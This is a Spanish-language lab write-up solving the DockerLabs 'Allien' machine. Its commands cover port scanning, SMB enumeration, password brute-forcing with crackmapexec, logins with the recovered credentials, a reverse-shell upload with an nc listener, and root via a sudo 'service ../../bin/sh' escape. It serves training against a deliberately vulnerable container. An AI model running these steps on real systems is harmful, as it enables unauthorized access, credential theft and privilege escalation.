> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/allien.md).

# Allien

✍️ Autor: Luisillo\_o🔍 Dificultad: Fácil  📅 Fecha de creación: 10/10/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&amp;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FClQwHpOi70VeVGAy4WPv%2Fimage.png?alt=media&amp;token=0c05a024-a51b-43e9-92f5-d17988bf8d20" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH,** el **puerto 80** perteneciente al **servicio HTTP,** el **puerto 139** perteneciente al **servicio NetBIOS**  y el **puerto 445** perteneciente al **servicio SMB** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,139,445 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjKvFqgXQdQDGRksXQgti%2Fimage.png?alt=media&amp;token=c4a538eb-ec68-4dc1-a73f-53124136fa5e" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página sobre un panel de Login.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F02tAFCmUWnL3Ap14rePL%2Fimage.png?alt=media&amp;token=8caa201b-e056-4903-99c3-1ea81e2af4d9" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6X9ySIdVzna2LAIeubEB%2Fimage.png?alt=media&amp;token=4dbdc5f0-a82c-44ce-8032-ed2376a53724" alt=""><figcaption></figcaption></figure>

Revisamos los archivos pero no encontramos nada relevante.

Vamos a descubrir usuarios y carpetas compartidas válidos para **SMB**.

```bash
enum4linux 172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F48vNwTpIeygLHQy8wXA0%2Fimage.png?alt=media&amp;token=6e367db8-9445-4ce2-890a-1bea758d3508" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FI8cG6rB4daJyaY1o8ubk%2Fimage.png?alt=media&amp;token=919442b2-cc73-49a5-a0bd-d39db8130b00" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Descubrimos varios usuarios por lo que realizamos fuerza bruta con **crackmapexec** pero solo con **satriani7** tenemos resultado.

```bash
crackmapexec smb 172.17.0.2 -u satriani7  -p /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fb3piT5xMBq5SSx8pI5tP%2Fimage.png?alt=media&amp;token=9bf29946-db8e-4803-a366-cb0f2d84c7d5" alt=""><figcaption></figcaption></figure>

Tenemos las credenciales por lo que vamos a enumerar los recursos compartidos del usuario.

```bash
smbmap -u satriani7 -p 50cent -H 172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqeDZCGtoJWhgz5oMs6VX%2Fimage.png?alt=media&amp;token=297cee96-1745-4737-9c13-e2c007cb4b33" alt=""><figcaption></figcaption></figure>

Vemos a ver el contenido de esas carpetas.

```bash
smbclient //172.17.0.2/myshare -U 'satriani7'
smbclient //172.17.0.2/backup24 -U 'satriani7'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK1VoQs1zHSSeQ21qLIqk%2Fimage.png?alt=media&amp;token=fd30b801-2d59-4a9b-80ba-d6c133efa21a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHS2SMqwEsLDEuuTsusVS%2Fimage.png?alt=media&amp;token=510ab37c-beac-4cba-8304-7edbebc8f612" alt=""><figcaption></figcaption></figure>

Nos descargamos el contenido para visualizarlo.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOrCVVeg2Z8d0EwFeSmPk%2Fimage.png?alt=media&amp;token=e7e51b88-a5a7-42b5-b692-f6101a3884cd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyNF4hEtBODLZfUULKCBG%2Fimage.png?alt=media&amp;token=f780df55-46b4-41b2-9760-a9ca2f9df3b5" alt=""><figcaption></figcaption></figure>

Como vemos nos dice que tenemos las credenciales de varios usuarios incluyendo la del **administrador** pues nos logueamos pero con ese usuario.

```bash
smbmap -u 'administrador' -p 'Adm1nP4ss2024' -H 172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEWl2jn0DMxWHvwMLvTz5%2Fimage.png?alt=media&amp;token=e9c25852-9de8-410f-a4cb-3d237ca9e2a2" alt=""><figcaption></figcaption></figure>

Tenemos permisos en la carpeta `/home` pues vamos a ver que contiene.

```bash
smbclient //172.17.0.2/home -U 'administrador'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYTwBQOhcf3rqRhPenl3z%2Fimage.png?alt=media&amp;token=f5831f4b-3165-4d69-8529-1115b624fc95" alt=""><figcaption></figcaption></figure>

Vemos que es el mismo contenido de la página por lo que subimos una [Reverse Shell](https://www.revshells.com/).

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmlOyLt3fnQvX2FfyyoAY%2Fimage.png?alt=media&amp;token=39049990-e76a-4152-b1e2-59885ffb534b" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCS6dLozrDLLXs5F03KzR%2Fimage.png?alt=media&amp;token=8d8981ff-e118-4090-ae3d-4860beb21e04" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSr0q3yakzvY2KynujECk%2Fimage.png?alt=media&amp;token=760c28b6-5abc-47f6-b48d-528a037dc59b" alt=""><figcaption></figcaption></figure>

Nos llama la atención **service** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/sed/)cómo explotarlo.

```bash
sudo /usr/sbin/service ../../bin/sh
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FF2FxUbpkA2XA8YMH5qSs%2Fimage.png?alt=media&amp;token=5b698265-49b4-4de2-927f-b806f649974f" alt=""><figcaption></figcaption></figure>
